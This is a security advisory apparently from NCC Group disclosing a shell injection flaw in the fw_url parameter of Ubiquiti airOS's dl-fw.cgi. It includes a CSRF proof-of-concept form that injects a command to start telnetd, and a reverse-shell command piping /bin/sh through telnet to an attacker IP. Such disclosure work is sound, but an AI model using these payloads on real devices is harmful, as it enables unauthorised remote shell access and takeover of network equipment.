NCC Group Security Advisory https://www.nccgroup.trust
Shell Injection via Web Management Console
Vendor: Ubiquiti Networks Vendor URL: https://www.ubnt.com Versions affected: airOS XM board line (potentially all airOS lines, unverified) Systems Affected: AG-HP-2G16, AG-HP-2G20, AG-HP-5G23, AG-HP-5G27, AirGrid M, AirGrid M2, AirGrid M5, AR, AR-HP, BM2HP, BM2-Ti, BM5HP, BM5-Ti, LiteStation M5, locoM2, locoM5, locoM9, M2, M3, M365, M5, M900, NB-2G18, NB-5G22, NB-5G25, NBM3, NBM365, NBM9, NSM2, NSM3, NSM365, NSM5, PBM10, PBM3, PBM365, PBM5, PICOM2HP, Power AP N (Verified on AR-HP running firmware v5.6.3) Author: Joel St. John <joel.stjohn[at]nccgroup[dot]trust> Risk: High
The dl-fw.cgi script does not properly sanitize URLs passed via the fw_url parameter, allowing arbitrary shell commands to be provided as part of the input.
This issue can be used to execute arbitrary shell commands on the device.
The airOS XM, XW, and TI lines (and potentially others) all contain a utility script called dl-fw.cgi that is hosted in the webroot. This script is used in conjunction with other functionality to download/display EULAs and download firmware updates.
This script can be called directly via POSTs, since it is within the webroot. On Line 62-63, the script executes the following using a specified fw_url parameter:
62: $cmd = "$cmd_wget -O $firmware_file --header='Referer: $eula_url ' $fw_url > $progress_file 2>&1"; 63: exec($cmd, $lines, $res);
No sanitization is performed on fw_url, which allows an attacker to specify arbitrary shell commands
which are in turn passed to exec. For instance, the following example uses the URL
telnetd, along with a cross-site request forgery attack
to start the telnet service:
<html> <body> <form action="https://192.168.1.1/dl-fw.cgi" method="POST"> <input type="hidden" name="action" value="download" /> <input type="hidden" name="fw_url" value="http://www.nccgroup.trust/testtest123/`telnetd`" /> <input type="submit" value="Submit request" /> </form> <script> document.forms.submit(); </script> </body> </html>
This can also be used to open a reverse shell via telnet, for instance by injecting:
telnet <attacker ip> <port1> | /bin/sh | telnet <attacker ip> port2
Sanitize the fw_url parameter to remove/encode shell metacharacters using EscapeShellCmd (as done elsewhere) or similar methods.
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